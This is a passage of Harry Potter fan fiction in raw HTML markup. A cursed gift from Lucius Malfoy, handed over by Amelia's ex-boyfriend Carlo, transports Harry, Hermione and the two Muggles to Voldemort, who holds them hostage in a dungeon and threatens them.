noticed he was sitting up with his eyes closed. She\nflipped it down, making the room dark. &#8220;I&#8217;m just turning off the light.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Alright.&#8221; Harry leaned back against the pillow, pulling the\nblankets over him.&nbsp; He heard Hermione\nmoving back towards the bed, where she lifted the covers and slid in next to\nhim.&nbsp; She was on her back looking up at\nthe dark ceiling, when Harry rested his head against her chest and he snuggled\nclose.&nbsp; Hermione kissed the top of his\nhead, and his forehead.&nbsp; She heard his\ngentle breathing return, he was asleep.&nbsp;\nHermione smiled and closed her eyes, within moments she too drifted off\ninto the world of dreams.&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in" align="center">**********</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry and Hermione were in the bathroom finishing up their\nmorning rituals, when Hermione popped a Translation Bean into her mouth. Harry\ndid the same.&nbsp; They tasted kind of sweet.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;We don&#8217;t want to forget this time.&#8221; Hermione said with a\nsmile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry nodded; he grabbed a couple more from the bag and\nstuck them in his pocket. He watched Hermione do the same.&nbsp; Boy they sure think very similarly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione saw him looking at her with a goofy grin on his\nface. &#8220;What?&#8221; She saw him point to her pocket and Hermione smiled.&nbsp; &#8220;Sure the guy in Camelot said the beans last\ntwo weeks, but we don&#8217;t know that for sure?&nbsp;\nFor all we know they last two minutes.&#8221; Hermione replied.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I agree with you, I wasn&#8217;t going to say anything except\nthat we sure think alike.&#8221; He said with a smile.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">They both heard Amelia&#8217;s voice shouting from the kitchen.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Breakfast!&#8221; Amelia shouted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Both Harry and Hermione came from the bathroom and sat down\nat the table to a giant feast.&nbsp; Hermione\nwas confused.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Uh, Amelia what&#8217;s with all the food?&nbsp; You don&#8217;t cook?&#8221; Hermione looked up at her\ncousin who was smiling.&nbsp; She could sense\nthat her cousin was not happy, but was covering up something.&nbsp; &#8220;Alright what&#8217;s wrong?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh nothing.&#8221; Amelia sat down across from Hermione, &#8220;Nothing\nexcept I kicked Carlo out.&nbsp; Pass the\ntoast please.&#8221; Her tone was as plain as talking about the weather.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione looked right at her cousin, &#8220;You really kicked him\nout?&#8221; She saw Amelia nod.&nbsp; &#8220;Oh good for\nyou,&#8221; Hermione smiled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh it&#8217;s not good Hermione, I already miss him.&#8221; Amelia\nsighed and glanced down at her empty plate.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes it is Amelia, Carlo is an asshole.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well at times yes he was, but I could tell he really cared\nabout me.&#8221; Amelia replied.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione sighed shaking her head; she was going to tell her\ncousin just what kind of a jerk Carlo was when there was a loud knock at the\ndoor.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Amelia got up from the table and rushed through her flat towards\nthe front door and opened it.&nbsp; Carlo\nstood there looking like a little lost puppy, her heart melted.&nbsp; She then remembered what he said about\nHermione and her face grew stern and serious.&nbsp;\n&#8220;What are you doing back here?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You told me to get my stuff, so that&#8217;s what I&#8217;m here to\ndo.&#8221; Carlo&#8217;s voice was just as stern as hers.&nbsp;\nMaybe if he played the cards right he would get her to accept him\nback.&nbsp; He just needed to make it look\nlike he really was leaving and if that didn&#8217;t work; he would give Amelia the\ngift.&nbsp; Carlo pushed his way passed Amelia\nand into the flat.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He glared at Harry and Hermione who had come to see what was\ngoing on, he simply walked passed them and into his room where he began\ncollecting his things.&nbsp; Carlo heard a\nknock on the side of the open door and he turned, Amelia was standing\nthere.&nbsp; &#8220;Well I hope you are happy, I\nwill soon be out of your life just as you wanted.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Amelia looked at the floor and then up at him, &#8220;Just\nremember Carlo you brought this on yourself.&#8221; She glared &#8220;If you really wanted\na relationship with me, you wouldn&#8217;t be cheating and you wouldn&#8217;t be treating\nmy cousin like she&#8217;s lower than dirt.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Ah your cousin, well let me tell you a few things about\nher.&#8221; He crossed his arms over his chest.&nbsp;\n&#8220;She is a tease Amelia a big tease, she leads people on and then when&#8212;&#8221;\nHe was interrupted by both Harry and Hermione who had come up behind Amelia.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;She is not a tease.&#8221; Harry said bitterly. &#8220;I know what you\ndid, and you know what you did.&#8221; With his fists clinched at his sides he glared\nat Carlo who had a twinge of fear flicker in his eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Whatever, it&#8217;s in the past. It doesn&#8217;t matter anymore.&#8221;\nCarlo said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;That&#8217;s right it doesn&#8217;t matter anymore.&#8221; Hermione said her\nhead held high.&nbsp; &#8220;You don&#8217;t matter\nanymore.&#8221; Her hands found her hips, as she looked Carlo right in the eye.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Carlo&#8217;s tactics were certainly not working; he needed to\nappeal to Amelia&#8217;s love for gifts.&nbsp; He\nreached behind him and under the hem of his shirt brought a gift wrapped in\nsilver paper which had been tucked into the back of his pants.&nbsp; &#8220;Look I know I messed up Amelia and that we\naren&#8217;t together anymore, but I got you this anyway.&#8221;&nbsp; He sure hoped that whatever was in this box\nwas what that man said was in there.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You got me a present?&#8221; Amelia said her voice lightened up,\nand so did her eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Amelia what are you doing?&#8221; Hermione was surprised at her\ncousin&#8217;s reaction. &#8220;Don&#8217;t accept anything from him you just broke up.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh but Hermione, he knows we aren&#8217;t together.&#8221; Amelia.\n&#8220;Right Carlo?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Right, I just wanted you to have this as a remembrance of\nme and all the times we had together.&#8221; Carlo sighed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione shook her head in disappointment she looked at\nHarry who seemed angry.&nbsp; &#8220;She&#8217;s going to\ntake him back, look at that.&#8221;&nbsp; She\npointed to her cousin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Amelia took the gift from Carlo&#8217;s hand.&nbsp; &#8220;No I&#8217;m not taking him back; I just want to\nsee what my present is.&#8221;&nbsp; She carefully\nstarted unwrapping the gift.&nbsp; Both Harry\nand Hermione glanced over the shorter girl&#8217;s shoulders, they two were a bit\ncurious as to what the gift was.&nbsp; Under\nthe silver wrapping paper there was a shiny green box.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry got an odd feeling, why did the wrapped gift suddenly\nremind him of school and Slytherins.&nbsp; He\nlooked over at Hermione; he noticed she was in deep concentration as well.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione felt Harry&#8217;s eyes on her and lifted her gaze to\nhis, they didn&#8217;t have to speak they knew what each other were thinking.&nbsp; They both continued looking down at Amelia\nopening her gift.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Amelia lifted the cover of the box and inside resting on a\ngreen tissue paper was a blown glass picture frame with a unicorn\nportrait.&nbsp; &#8220;Wow.&#8221; Amelia said\nbreathlessly. &#8220;This is beautiful,&#8221; she looked up at Carlo. &#8220;It must have cost\nyou a fortune.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well price is no object when it comes to you.&#8221; Carlo said\nsmugly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry looked about the picture; he scanned it\nthoroughly.&nbsp; He couldn&#8217;t shake this\nfeeling that something was off about the picture.&nbsp; Harry let his eyes scan all over the picture\nand there in the corner within the painted grass blades was the dark mark.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">At\nthe same time Harry and Hermione&#8217;s heads shot up staring in horror at each\nother. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Amelia was about to touch the frame when Harry and Hermione\nboth shouted &#8220;NO!&#8221; which started her and the box went flying from her\nhand.&nbsp; The picture flew out of the box\nand as if almost in slow motion the picture started falling towards them.&nbsp; Both Harry and Hermione held their hands up\nto catch it.&nbsp; Whatever it was they wanted\nto make sure nothing was going to happen to the Muggles.&nbsp; Carlo of course had a different idea as he\nreached for it.&nbsp; Amelia had grabbed onto\nCarlo&#8217;s arm trying to jump up higher and grab the picture before the glass\nshattered all over the floor.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The picture was still falling from the air as Harry,\nHermione, Amelia and Carlo all grabbed it at the same time and tried to pull it\nin different directions.&nbsp; They each felt\na pulling within moments they found themselves on the ground in the middle of a\nlarge group of people in masks and black hooded robes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hell a Portkey.&quot; He glanced around.&nbsp;&quot;Oh\ngreat, just what this trip needs. Death Eaters.&#8221; Harry said to Hermione as he\npulled her to her feet.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Do you think we&#8217;re still in Rome?&#8221; Hermione looked at the\ngroup.&nbsp; She heard a moaning from on the\nground, she turned and saw Amelia and Carlo on the ground who looked ready to\nvomit. &nbsp;&#8220;Oh no Harry look,&#8221; Hermione\npointed to the ground &#8220;Amelia and Carlo.&#8221; She was greatly distressed.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Amelia slowly got to her feet, as did Carlo.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What happened?&#8221; Amelia put her hand to her head.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Harry Potter&#8221; A voice hissed out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry turned to Hermione. &#8220;Wands out.&#8221; He saw Hermione nod\nas they both recognized that voice.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Both Harry and Hermione pulled their wands from their\nholders, which were underneath their shirts.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Amelia and Carlo looked oddly at Harry and Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Why do you have those sticks? And who the hell are these\nguys, and why do you two seem to know what you&#8217;re doing?!&#8221; Carlo asked, for\nsome reason Hermione&#8217;s stick seemed familiar.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;We&#8217;ll explain later.&#8221; Hermione said still keeping her eyes\non the group.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">A path was created through the Death Eaters as two men came\nforward, one whose head was covered and the dark lord himself Voldemort.&nbsp; Hermione felt herself begin to shake and for\nreasons not known to her as the two came forward.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well, well, Harry Potter. Good to see you again.&#8221; Voldemort\nsmirked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Too bad I can&#8217;t say the same.&#8221; Harry glared.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;This worked better then I had planned.&#8221; He grinned.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What do you mean?&#8221; Harry&#8217;s eyes narrowed even more in\nsuspicion.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Why doesn&#8217;t my servant explain it to you?&#8221; Voldemort moved\nto the side as the man next to him lowered his hood and removed his mask, the\nman smirked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;But that&#8217;s impossible.&#8221; Harry said as he looked upon the\nman, &#8220;Malfoy said he killed you.&#8221; Harry heard Hermione whimpering next to him.\nHe looked for a moment at her and saw her shaking almost uncontrollably for the\nman who stood before them was none other than Lucius Malfoy.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;He tried.&#8221; Lucius smirked at Harry then glanced at\nHermione. &#8220;Ah you&#8217;ve come back my screaming Mudblood.&#8221; Lucius sneered. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8216;Get a hold of yourself!&#8217;</i>\nHermione&#8217;s head shouted.&nbsp; She stopped her\nwhimpering and held her wand up her hand still shaking. &#8220;You&#8212;you stay away.&#8221;\nShe said waving her wand in the air.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh would you look at that Gryffindor bravery, more like\nGryffindor stupidity to me.&#8221; Lucius smirked then pointed his wand between Harry\nand Hermione.&nbsp; &#8220;Accio Wands.&#8221; He\nshouted.&nbsp; Both Harry and Hermione&#8217;s wands\nwere ripped from their grasps and sailed into Lucius outstretched hand.&nbsp; Lucius continued to smirk.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hey I know you, you gave me that gift.&#8221; Carlo said pointing\nat Lucius.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry, Hermione and Amelia turned glaring at Carlo.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Carlo you asshole, you lied to me again.&#8221;&nbsp; Amelia shouted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Not only that&#8230;&#8221; Hermione paused &#8220;Oh my God, all of this is\nyour fault.&#8221; Hermione spat.&nbsp; Lucius\nlaughed causing chills of fear to run down Hermione&#8217;s spine.&nbsp; She remembered that laugh all too well.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We only intended for that Muggle there to\nbe brought here.&#8221; He pointed at Amelia. &#8220;So that Potter here would be forced\ninto a rescue.&#8221; Lucius laughed again. &#8220;We didn&#8217;t count on the both of you two\nto arrive.&#8221; He smirked.&nbsp; &#8220;Just imagine my\nluck.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry stepped in front of Hermione, this time he wasn&#8217;t\nletting anyone past him.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Lucius just chuckled. &#8220;You know, I seem to remember an\nincident just like this.&nbsp; The outcome\nwill be the same.&#8221; He winked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione&#8217;s hands grabbed hard onto Harry&#8217;s shoulders.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hermione&#8230;what&#8217;s&#8230;going on?&#8221; Amelia was confused. And she\ndidn&#8217;t like it that she wasn&#8217;t being answered by her cousin.&nbsp; She was going to ask again but was interrupted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;We shall deal with the Muggle prisoners in a moment; lock\nthem in the dungeon cell.&#8221; Voldemort ordered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes sir.&#8221; A few Death Eaters came forth and took both Carlo\nand Amelia away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione watched with worry as the back of her cousin&#8217;s head\ndisappeared into the castle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;The only person you should be worrying about here is\nyourself.&#8221; Voldemort said which got Hermione&#8217;s attention, she looked right at\nhim.&nbsp; And for some strange reason he was\nsmiling.&nbsp; &#8216;Interesting&#8217; she heard him\nsay.&nbsp; &#8220;What&#8212;is?&#8221; She asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry in shock looked at her especially when out of oddness\nVoldemort smiled.&nbsp; Harry shook his head\nand returned his angered gaze to Voldemort&#8217;s.&nbsp;\n&#8220;Alright Voldemort why aren&#8217;t we dead yet, or why haven&#8217;t I been killed\nyet?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I am going to offer this to you one more time, I offered it\nto you before but you so rudely declined.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;If you&#8217;re thinking that you can get me to join you, then\nyou are surely mistaken.&#8221; Harry spat.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Voldemort laughed, &#8220;Don&#8217;t be so quick to jump to a decision,\nI have hostages you know.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What are you going to do to them?&#8221; Hermione said in fear\nfor her cousin, and forgetting all about Lucius.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Voldemort looked at Hermione, &#8220;have no worry; I&#8217;ll only\ncause a little pain for your cousin.&#8221; He saw Hermione&#8217;s eyes widen.&nbsp; &#8220;But that foolish Muggle boy, oh yes I think\nI&#8217;ll order him lots of pain, isn&#8217;t that you the both of you want to see, him\nsuffering?&#8221; He asked almost innocently as if they had a choice in the decision.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No.&#8221; Harry and Hermione said at the same time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No? If I&#8217;m not mistaken, the ministry almost banished you.&#8221;\nHe pointed his finger at Hermione. &#8220;Only because you were defending yourself,\nnow is that fair?&#8221; Voldemort laughed, &#8220;Don&#8217;t you want to see what&#8217;s coming to\nhim?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No.&#8221; Hermione said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Why are you both so stubborn?!&#8221; Voldemort growled.&nbsp; &#8220;If you don&#8217;t want to see people you care\nabout hurt you will join me!&#8221; He ordered.&nbsp;\n&#8220;Here I&#8217;ll give you some time to think about it.&#8221;&nbsp; With a snap of his fingers, a few Death\nEaters grabbed both Harry and Hermione by the arms and brought them to a\ndungeon cell, and pushed them in closing the door with a loud echoing slam.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry stood from the floor when they were thrown in,\nHermione was already on her feet and she was pacing back and forth\nquickly.&nbsp; They failed to notice Carlo and\nAmelia huddled close together in the dark corner of the cell.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh Harry, oh my God what are we going to do, what about&#8212;&#8221;\nBut she was cut off by Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes I know Voldemort he&#8217;s going to&#8212;&#8221; This time he was cut\noff.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No Harry not Voldemort.&nbsp;&nbsp;\nSure I still fear the dark lord but not as much anymore.&nbsp; It&#8217;s Him.&#8221; She chill ran down her spine and\nshe shook a bit &#8220;I can&#8217;t believe, I&#8212;&#8221; She broke down.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;He&#8217;s not going to hurt you again, I will not let him.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">They heard a rustling from the corner of the cell, which cause\nHarry and Hermione to turn.&nbsp; Amelia\nstood.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Will one of you please tell me what the hell is going on\nhere?&#8221; She was enraged.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Amelia we can&#8217;t explain it to you, I can not explain it to\nyou.&#8221; Hermione replied.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Carlo also stood his arms folded across his chest. &#8220;Well one\nof you had better tell us something.&nbsp; Who\nare these people and how did he steal your sticks like that.&nbsp; What was that some kind of a trick?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;They aren&#8217;t tricks, they are real.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hermione please, as your cousin tell us what is going on.&#8221; Amelia\nsounded desperate.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione shook her head, &#8220;I&#8217;m not allowed to say, I\ncan&#8217;t.&nbsp; I&#8217;m sorry.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Carlo came forward in a mad rage and he grabbed Hermione by\nthe shoulders, &#8220;You had better fuckin&#8217; tell me what is going on.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry went to get Carlo off of Hermione, but someone beat\nhim to it. Hermione kicked him in the shin and he yelled in pain as he, rubbing\nthe now bruised area of his leg.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Don&#8217;t you ever touch me again!&#8221; She shouted. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Just let us figure a way out of this.&#8221; Harry said bitterly,\n&#8220;Just go and sit down and shut up.&nbsp; You\nhave no idea what is going to happen to you.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Are you threatening me?&#8221; Carlo glared.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No, I&#8217;m warning you.&nbsp;\nThese people are well, they don&#8217;t like you. I don&#8217;t like you but I don&#8217;t\nwant to see you dead.&nbsp; Well actually I do,\nbut I would never kill you.&#8221; Harry admitted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;They want to kill us?&#8221; Amelia gasped.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione nodded. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Amelia couldn&#8217;t help the tears, &#8220;Oh what are we going to do,\nwe have to get out of here.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;We&#8217;re working on that Amelia; just let us take care of this\nokay.&nbsp; Trust us.&#8221; Hermione said softly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">They waited there for over four hours before the door to the\ncell banged open. Lucius followed by six death Eaters walked inside the cell.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Ah this brings back memories doesn&#8217;t it?&#8221; Lucius\nmocked.&nbsp; &#8220;Although this time there is no\nWeasley&#8221; He spat. &#8220;Hiding in the corner&#8221; He smiled at Hermione, &#8220;Is it true\nthat you Mudblood used magic on that Muggle over there?&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;How did you know that?&#8221; Hermione gasped.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;So I see you are very similar to my son, using whatever\nmeans to get the desired result.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Don&#8217;t listen 